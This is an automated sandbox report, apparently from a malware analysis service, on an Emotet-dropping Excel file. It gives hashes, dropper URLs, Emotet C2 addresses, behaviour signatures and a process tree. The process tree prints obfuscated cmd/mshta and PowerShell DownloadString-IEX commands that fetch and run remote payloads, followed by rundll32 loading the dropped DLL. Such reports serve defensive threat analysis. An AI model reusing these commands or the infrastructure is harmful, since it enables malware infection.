Analysis

  • max time kernel
    111s
  • max time network
    163s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:22

General

  • Target

    tmp5zow45w_.xls

  • Size

    35KB

  • MD5

    b9f3a2c5250ca9f5e3a159d88b4e3342

  • SHA1

    c19c874161d9a9c808bdc8635e33301888fb7c77

  • SHA256

    b7372c7e1872e75729b143fb071c7c33971de80b530329604331941268c19dcf

  • SHA512

    51f9a1c297cee34ecbe990b0319388ffffae20fb83717d94dbc911f5a46454b40310e40b84be418c76c0fb3e36176ff24396c967e234c4baa9ee7a889e532d84

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp5zow45w_.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2480
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2756
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:644
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1412
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3940
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xsmqlmp\kzgvevhl.lph",jFolcBm
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2704
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xsmqlmp\kzgvevhl.lph",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3828
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2476 -s 1656
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2796

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • memory/1412-597-0x00000000040D0000-0x00000000040F7000-memory.dmp
    Filesize

    156KB

  • memory/2184-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
    Filesize

    64KB

  • memory/2184-659-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
    Filesize

    64KB

  • memory/2184-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-656-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-657-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-658-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2184-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2704-613-0x0000000003120000-0x0000000003147000-memory.dmp
    Filesize

    156KB

  • memory/2756-308-0x0000020BF1086000-0x0000020BF1088000-memory.dmp
    Filesize

    8KB

  • memory/2756-303-0x0000020BF1083000-0x0000020BF1085000-memory.dmp
    Filesize

    8KB

  • memory/2756-302-0x0000020BF1080000-0x0000020BF1082000-memory.dmp
    Filesize

    8KB

  • memory/2756-301-0x0000020BF1710000-0x0000020BF1786000-memory.dmp
    Filesize

    472KB

  • memory/2756-290-0x0000020BF1040000-0x0000020BF107C000-memory.dmp
    Filesize

    240KB

  • memory/2756-271-0x0000020BF0EB0000-0x0000020BF0ED2000-memory.dmp
    Filesize

    136KB

  • memory/3828-621-0x0000000004C60000-0x0000000004C87000-memory.dmp
    Filesize

    156KB

  • memory/3828-625-0x0000000004E20000-0x0000000004E47000-memory.dmp
    Filesize

    156KB

  • memory/3828-633-0x0000000005280000-0x00000000052A7000-memory.dmp
    Filesize

    156KB

  • memory/3828-616-0x0000000004471000-0x0000000004494000-memory.dmp
    Filesize

    140KB

  • memory/3828-619-0x0000000004B80000-0x0000000004BA7000-memory.dmp
    Filesize

    156KB

  • memory/3828-631-0x0000000005200000-0x0000000005227000-memory.dmp
    Filesize

    156KB

  • memory/3828-623-0x0000000004D40000-0x0000000004D67000-memory.dmp
    Filesize

    156KB

  • memory/3828-629-0x0000000005010000-0x0000000005037000-memory.dmp
    Filesize

    156KB

  • memory/3828-627-0x0000000004F10000-0x0000000004F37000-memory.dmp
    Filesize

    156KB

  • memory/3940-614-0x0000000004BE0000-0x0000000004C07000-memory.dmp
    Filesize

    156KB

  • memory/3940-609-0x00000000049B0000-0x00000000049D7000-memory.dmp
    Filesize

    156KB

  • memory/3940-611-0x0000000004A10000-0x0000000004A37000-memory.dmp
    Filesize

    156KB

  • memory/3940-607-0x0000000004950000-0x0000000004977000-memory.dmp
    Filesize

    156KB

  • memory/3940-605-0x00000000047F0000-0x0000000004817000-memory.dmp
    Filesize

    156KB

  • memory/3940-603-0x0000000004710000-0x0000000004737000-memory.dmp
    Filesize

    156KB

  • memory/3940-600-0x0000000002860000-0x0000000002887000-memory.dmp
    Filesize

    156KB